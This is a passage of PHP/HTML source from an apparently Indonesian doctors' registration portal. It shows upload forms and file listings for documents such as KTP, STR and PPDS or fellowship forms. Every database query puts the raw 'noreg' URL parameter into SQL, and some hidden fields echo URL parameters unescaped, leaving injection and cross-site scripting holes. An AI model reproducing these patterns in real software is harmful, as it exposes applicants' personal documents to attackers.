      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='17' order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut3= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut3=='17'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



 					<?php	



					  }



					 ?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>



	 <?php 



		 }



		  ?>		



	</tr>







<?php 



		   //akhir perihal pribadi



		 }



		  ?>






















		<?php	



		   //tutup per perihal



		 }  



	     ?>	







	<?php



       if  ( $perihal =='rekomendasi_PPDS' ||  $perihal =='rekomendasi_PPDS_II'){



	?>	







<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="35" checked > 1. Softcopy Formulir PPDS. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>		



	</tr>	











	<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > 2. Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">3</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







		<?php	



		   //tutup per perihal



		 }  



	     ?>	







		 



	<?php



       if  ( $perihal =='rekomendasi_fellowship'){



	?>	



<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="45" checked > 1. Softcopy Formulir Fellowship. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>



				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='1'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>		



	</tr>	











	<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > 2. Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>











<tr>



		<td data-header="No" class="title">3</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  


						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="22" checked > 4. Softcopy Surat Keterangan Mengikuti Peserta Fellowship. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="400" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>















		<?php	



		   //tutup per perihal



		 }  



	     ?>	





<?php



          if ( $perihal == 'Pengantar_Puskesmas' ||$perihal == 'Pengantar_SIP' ||$perihal == 'Pengantar_SIP_DU' ) {



	?>	



	  <?php



			  if ( $perihal == 'Pengantar_Puskesmas'||$perihal == 'rekomendasi_SIP_dr_spesialis' ||$perihal == 'rekomendasi_SIP_dr_umum' ){



		?>	





				<tr>



						<td data-header="No" class="title">1</td>



						<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">







						<input type="checkbox" name="nm_surat" value="46" checked > 1. Softcopy (berwarna/sesuai asli) (berwarna) Form Pengantar SIP ke Puskesmas. <br><br>	







					<input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



					<input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



									<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



									<input name="nourut" type = "hidden" readonly class="form-control"  value="1"  />



					<input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



					<br>







					<b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



						<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



					<br>



						<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



					</form>



					<br/>                                                                                                                                  </td>



								 <td>







							 <?php



					  //require 'config.php';



					  $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='1'  order by nourut ") or die(mysqli_error());



					   $no = 1;



					   $total2=0;



						while($fetch = $row->fetch_array()){







						$potong_kalimat = substr($fetch['file'],-4);







						//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



						  $nourut2= $fetch['nourut'];  



					   $pdf=$fetch['file'];



					   ?>







						<?php 



						$name = explode('/', $fetch['file']);



						?>			 























						 <?php 



						  if ($nourut2=='1'){







						  ?>







						  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	







							 <?php 



							if ($potong_kalimat==".pdf"){



							?>	



							<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="350"></embed></div>	



							 <?php	



							}else{



							?>	







						  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



							 <?php	



							}



							?>







										 <br>  



										  <br>  



										 Berhasil di Upload</td>



						 <?php	







								  }



						?>	















					  <td>



						   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











					 <?php 



						 }



						  ?>		



					</tr>	



	 <?php 



						 }



						  ?>	







	<tr>



		<td data-header="No" class="title">2</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="2" checked > 2. Softcopy KTP. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="2"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='2'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='2'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>




<tr>



		<td data-header="No" class="title">3</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="30" checked > 3. Softcopy STR . <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="3"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='3'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='3'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>







<tr>



		<td data-header="No" class="title">4</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="37" checked > 4. Softcopy (berwarna/sesuai asli) (berwarna) surat keterangan  bekerja di klinik <b>untuk praktek di Klinik.</b> <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



    <input name="noreg" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['noreg']  ?>"  />    



					<input name="chek" type = "hidden" readonly class="form-control"  value="1"  />



					<input name="nourut" type = "hidden" readonly class="form-control"  value="4"  />



    <input type="hidden" name="MAX_FILE_SIZE" value="10000000" />



    <br>



		



    <b>Click Browse lalu Pilih File yang akan di Upload:</b> <br><br>



		<input class="form-control"  name="file" type="file" style="cursor:pointer;" />



    <br>



		<button type="submit" class="btn btn-success form-control" name="submit"><span class="glyphicon glyphicon-upload"></span> Click untuk Upload Document</button>



    </form>



    <br/>                                                                                                                                  </td>







				 <td>



					 



			 <?php



      //require 'config.php';



      $row = $konek->query("SELECT *  FROM file WHERE noreg='$_GET[noreg]' and nourut='4'  order by nourut ") or die(mysqli_error());



       $no = 1;



	   $total2=0;



	    while($fetch = $row->fetch_array()){



		  



		$potong_kalimat = substr($fetch['file'],-4);



       



		//$nourut= isset($fetch['nourut']) ? $fetch['nourut'] : null;  



		  $nourut2= $fetch['nourut'];  



	   $pdf=$fetch['file'];



       ?>



      



        <?php 



        $name = explode('/', $fetch['file']);



        ?>			 



					 



					 



					 



					 



					 



		 <?php 



		  if ($nourut2=='4'){



		  



		  ?>



		  



		  <a href="<?php echo $fetch['file']; ?>" title="Foto Bukti!" class="MagicZoom" rel="zoom-id:zoom;opacity-reverse:true; ">	



		



			 <?php 



			if ($potong_kalimat==".pdf"){



			?>	



			<div class="video-container"><embed type="application/pdf" src="<?php echo $fetch['file']; ?>" width="350" height="400"></embed></div>	



			 <?php	



			}else{



			?>	



			



		  <img  src="<?php echo $fetch['file']; ?>"  style="width:25%;"/></a>



			 <?php	



			}



			?>







						 <br>  



						  <br>  



						 Berhasil di Upload</td>



		 <?php	







						  }



						?>	











	  



	  <td>



		   <a class='btn btn-danger btn-sm' href='del_upl.php?id=<?php echo $fetch['file_id']; ?>&noreg=<?php echo $fetch['noreg']; ?>&npm=<?php echo $fetch['npm']; ?>&file=<?php echo $fetch['file']; ?>&chek=1'>Batal/Hapus</a></td>











	 <?php 



		 }



		  ?>



</tr>



















		<?php	



		   //tutup per perihal



		 }  



	     ?>	





	<?php



       if  ( $perihal =='rekomendasi_COGS'){



	?>	







<tr>



		<td data-header="No" class="title">1</td>



		<td data-header="Jenis Berkas" > <form name="form" enctype="multipart/form-data" action="upload_reg.php" method="POST">



	



		<input type="checkbox" name="nm_surat" value="35" checked > 1. Softcopy Formulir PPDS. <br><br>	



		



    <input name="npm" type = "hidden" readonly class="form-control"  value="<?php echo $_GET['npm']  ?>"  />



